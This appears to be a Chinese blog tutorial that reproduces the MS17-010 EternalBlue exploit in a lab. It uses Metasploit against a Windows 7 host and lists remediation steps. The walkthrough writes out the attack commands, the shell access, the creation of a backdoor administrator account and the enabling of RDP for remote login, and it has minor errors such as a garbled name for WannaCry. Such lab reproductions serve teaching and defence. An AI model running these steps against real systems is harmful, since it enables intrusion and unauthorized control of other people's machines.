MS17-010(Eternal blue永恒之蓝)漏洞利用+修复方法

2024-06-22 17:12

本文主要是介绍MS17-010(Eternal blue永恒之蓝)漏洞利用+修复方法,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

目录

一、漏洞简介

漏洞原理

影响版本

二、漏洞复现

三、复现过程

1、扫描局域网内的C段主机(主机发现)

扫描结果:

2.使用MSF的永恒之蓝漏洞模块

3.对主机进行扫描,查看其是否有永恒之蓝漏洞

4.准备攻击

四、漏洞利用

五、提升权限

1.创建新用户

2.将用户添加至管理员群组

3.查看端口的开启情况

六、远程登录

七、漏洞修复


一、漏洞简介

永恒之蓝(EternalBlue)是一个由美国国家安全局(NSA)开发的漏洞利用工具,最初在2017年由“影子经纪人”(Shadow Brokers)组织泄露。这个漏洞利用工具利用了Windows操作系统中的一个安全漏洞(CVE-2017-0144),允许攻击者远程执行代码,无需用户交互即可远程控制受感染的计算机。具体来说,它利用了Windows Server Message Block (SMB) v1协议中的漏洞,使得攻击者可以在目标系统上执行恶意代码,甚至可以在未经授权的情况下传播自身。

永恒之蓝漏洞的爆发引发了全球范围内的关注,尤其是在2017年的“惊叹号勒索软件”(WannaCry ransomware)攻击中,该漏洞被大规模利用,造成了数十万台计算机的感染和停机事件。这次攻击揭示了许多组织和公司在保护其网络安全方面的薄弱之处,也促使了更广泛的安全漏洞修复和网络防护措施的加强。

漏洞原理

永恒之蓝漏洞的利用基于Windows操作系统中的一个漏洞(CVE-2017-0144),主要涉及以下几个方面的技术细节:

  1. Windows SMB服务漏洞:漏洞利用了Windows操作系统中的Server Message Block (SMB) v1协议的一个安全漏洞。SMB协议是Windows系统用于文件和打印机共享的网络协议。

  2. 远程执行代码(RCE):漏洞允许攻击者通过发送特制的网络数据包,无需用户交互即可远程执行恶意代码。这使得攻击者可以获取目标系统的控制权。

  3. 无需身份验证:攻击者可以在不需要凭据或者认证的情况下利用漏洞,这使得漏洞的利用更为危险和普遍。

影响版本

永恒之蓝漏洞主要影响以下版本的Windows操作系统:

  • Windows Vista

  • Windows Server 2008

  • Windows 7

  • Windows Server 2008 R2

二、漏洞复现

环境

  1. 攻击机:Linux kali (IP:192.168.220.128)

  2. 靶机:Windows 7 旗舰版(IP;192.168.220.133)

环境说明:Windows 7 防火墙关闭,445端口打开,两台主机之间可以ping通

三、复现过程

1、扫描局域网内的C段主机(主机发现)

扫描结果:
  1. 192.168.220.2

    • 只有一个端口开放:53/tcp(domain)。这可能是一台运行DNS服务的设备。

  2. 192.168.220.128

    • 所有扫描的1000个端口都处于“ignored states”状态,表示这台主机在扫描时未给出具体的端口状态信息。这可能是由于网络或主机的防火墙设置等原因导致的。

  3. 192.168.220.133

    • 多个端口开放,包括80/tcp(http)、135/tcp(msrpc)、139/tcp(netbios-ssn)、445/tcp(microsoft-ds)、5357/tcp(wsdapi)以及一系列高端口(49152-49165/tcp)。

    • 这表明这台主机可能是一台Windows主机,同时运行了HTTP服务、Microsoft RPC服务、NetBIOS服务、以及一些未知用途的高端口服务。

2.使用MSF的永恒之蓝漏洞模块

打开MSF

msfconsole

这个界面每次都不相同。

搜索漏洞代码:ms17_010

search ms17_010

这里可以看到26个可以利用的模块及其描述:

  1. exploit/windows/smb/ms17_010_eternalblue

    • 揭露日期:2017-03-14

    • 等级:average

    • 检查:Yes

    • 描述:MS17-010 EternalBlue SMB远程Windows内核池损坏漏洞利用,用于执行远程代码。

    目标包括:

    • Windows 7

    • Windows Embedded Standard 7

    • Windows Server 2008 R2

    • Windows 8

    • Windows 8.1

    • Windows Server 2012

    • Windows 10 Pro

    • Windows 10 Enterprise Evaluation

    这个模块利用了SMB服务上的漏洞,通常使用的是TCP端口445。

  2. exploit/windows/smb/ms17_010_psexec

    • 揭露日期:2017-03-14

    • 等级:normal

    • 检查:Yes

    • 描述:MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB远程Windows代码执行漏洞利用。

    目标包括:

    • 自动目标

    • PowerShell

    • 本地上传(Native upload)

    • MOF上传(MOF upload)

    这个模块利用了SMB服务上的漏洞,同样使用的是TCP端口445。

  3. auxiliary/admin/smb/ms17_010_command

    • 揭露日期:2017-03-14

    • 等级:normal

    • 检查:No

    • 描述:MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB远程Windows命令执行辅助模块。

    这个模块用于执行远程命令,同样是基于SMB服务上的漏洞,端口也是TCP端口445。

  4. auxiliary/scanner/smb/smb_ms17_010

    • 揭露日期:未指定

    • 等级:normal

    • 检查:No

    • 描述:MS17-010 SMB远程执行代码检测辅助模块。

    这个模块用于检测目标系统是否受到MS17-010漏洞的影响,同样基于SMB服务,端口是TCP端口445。

3.对主机进行扫描,查看其是否有永恒之蓝漏洞

使用模块24开始攻击:use 24,也可以用use scanner/smb/smb_ms17_010

options查看需要设置的参数

设置目标主机set rhost 192.168.220.133,设置成功会返回rhost的值,用run开始

  • VULNERABLE to MS17-010:扫描结果显示目标主机存在MS17-010漏洞,即永恒之蓝漏洞。

  • 操作系统信息:目标主机运行的是 Windows 7 Ultimate 7601 Service Pack 1 x64 (64-bit) 操作系统。

4.准备攻击

使用模块0开始攻击:use 0,也可以用use windows/smb/ms17_010_eternalblue

查看需要设置的参数:options

设置目标ip地址

set rhost 192.168.220.133

run

看到win说明成功

四、漏洞利用

获取靶机shell

shell

乱码是因为linux和windows的编码方式不同导致

使用代码:chcp 65001

查看IP:ipconfig

五、提升权限

1.创建新用户

net user bai 123456 /add

bai是用户名,12456是密码

2.将用户添加至管理员群组

net localgroup administrators bai /add

3.查看端口的开启情况

netstat -ano

4.开启3389端口

输入exit退出命令行,在meterpreter中输入run post/windows/manage/enable_rdp

查看端口

成功开启3389端口

六、远程登录

打开一个新终端,输入rdesktop 192.168.220.133

中途会让确认,输入yes确认

选择其他用户

输入我们刚才新加的用户名和密码

登录成功!

七、漏洞修复

永恒之蓝漏洞(EternalBlue)是一个影响Windows操作系统的严重安全漏洞,可被用于远程执行代码攻击。微软已经发布了修复补丁来解决这个漏洞,以及其他相关的安全更新。以下是修复永恒之蓝漏洞的主要方法:

  1. 安装官方补丁

    • 确保系统上安装了最新的安全补丁。微软已经发布了修复EternalBlue漏洞的补丁。您可以访问微软的官方网站或使用Windows Update来获取并安装最新的安全补丁。

  2. 更新操作系统

    • 确保操作系统是最新的版本,并且所有的安全更新和补丁都已安装。及时更新操作系统是保持系统安全的重要步骤之一。

  3. 禁用不必要的服务

    • 如果不需要使用远程桌面服务(RDP)或SMB服务,可以考虑禁用或限制它们的使用。尽可能减少系统暴露在外部攻击面。

  4. 配置防火墙

    • 在防火墙上设置规则,限制远程访问和网络流量,防止未经授权的访问和攻击。

  5. 网络隔离

    • 将重要的系统和网络基础设施隔离在内部网络中,减少来自外部网络的直接访问。

  6. 使用安全软件

    • 安装和使用有效的安全软件,如防病毒软件、防火墙和入侵检测系统(IDS),帮助识别和阻止潜在的威胁。

这篇关于MS17-010(Eternal blue永恒之蓝)漏洞利用+修复方法的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1084909

相关文章

python获取指定名字的程序的文件路径的两种方法

《python获取指定名字的程序的文件路径的两种方法》本文主要介绍了python获取指定名字的程序的文件路径的两种方法,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要... 最近在做项目,需要用到给定一个程序名字就可以自动获取到这个程序在Windows系统下的绝对路径,以下

JavaScript中的高级调试方法全攻略指南

《JavaScript中的高级调试方法全攻略指南》什么是高级JavaScript调试技巧,它比console.log有何优势,如何使用断点调试定位问题,通过本文,我们将深入解答这些问题,带您从理论到实... 目录观点与案例结合观点1观点2观点3观点4观点5高级调试技巧详解实战案例断点调试:定位变量错误性能分

Python中 try / except / else / finally 异常处理方法详解

《Python中try/except/else/finally异常处理方法详解》:本文主要介绍Python中try/except/else/finally异常处理方法的相关资料,涵... 目录1. 基本结构2. 各部分的作用tryexceptelsefinally3. 执行流程总结4. 常见用法(1)多个e

JavaScript中比较两个数组是否有相同元素(交集)的三种常用方法

《JavaScript中比较两个数组是否有相同元素(交集)的三种常用方法》:本文主要介绍JavaScript中比较两个数组是否有相同元素(交集)的三种常用方法,每种方法结合实例代码给大家介绍的非常... 目录引言:为什么"相等"判断如此重要?方法1:使用some()+includes()(适合小数组)方法2

修复已被利用的高危漏洞! macOS Sequoia 15.6.1发布

《修复已被利用的高危漏洞!macOSSequoia15.6.1发布》苹果公司于今日发布了macOSSequoia15.6.1更新,这是去年9月推出的macOSSequoia操作... MACOS Sequoia 15.6.1 正式发布!此次更新修复了一个已被黑客利用的严重安全漏洞,并解决了部分中文用户反馈的

504 Gateway Timeout网关超时的根源及完美解决方法

《504GatewayTimeout网关超时的根源及完美解决方法》在日常开发和运维过程中,504GatewayTimeout错误是常见的网络问题之一,尤其是在使用反向代理(如Nginx)或... 目录引言为什么会出现 504 错误?1. 探索 504 Gateway Timeout 错误的根源 1.1 后端

MySQL 表空却 ibd 文件过大的问题及解决方法

《MySQL表空却ibd文件过大的问题及解决方法》本文给大家介绍MySQL表空却ibd文件过大的问题及解决方法,本文给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友参考... 目录一、问题背景:表空却 “吃满” 磁盘的怪事二、问题复现:一步步编程还原异常场景1. 准备测试源表与数据

python 线程池顺序执行的方法实现

《python线程池顺序执行的方法实现》在Python中,线程池默认是并发执行任务的,但若需要实现任务的顺序执行,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋... 目录方案一:强制单线程(伪顺序执行)方案二:按提交顺序获取结果方案三:任务间依赖控制方案四:队列顺序消

SpringBoot通过main方法启动web项目实践

《SpringBoot通过main方法启动web项目实践》SpringBoot通过SpringApplication.run()启动Web项目,自动推断应用类型,加载初始化器与监听器,配置Spring... 目录1. 启动入口:SpringApplication.run()2. SpringApplicat

使用Java读取本地文件并转换为MultipartFile对象的方法

《使用Java读取本地文件并转换为MultipartFile对象的方法》在许多JavaWeb应用中,我们经常会遇到将本地文件上传至服务器或其他系统的需求,在这种场景下,MultipartFile对象非... 目录1. 基本需求2. 自定义 MultipartFile 类3. 实现代码4. 代码解析5. 自定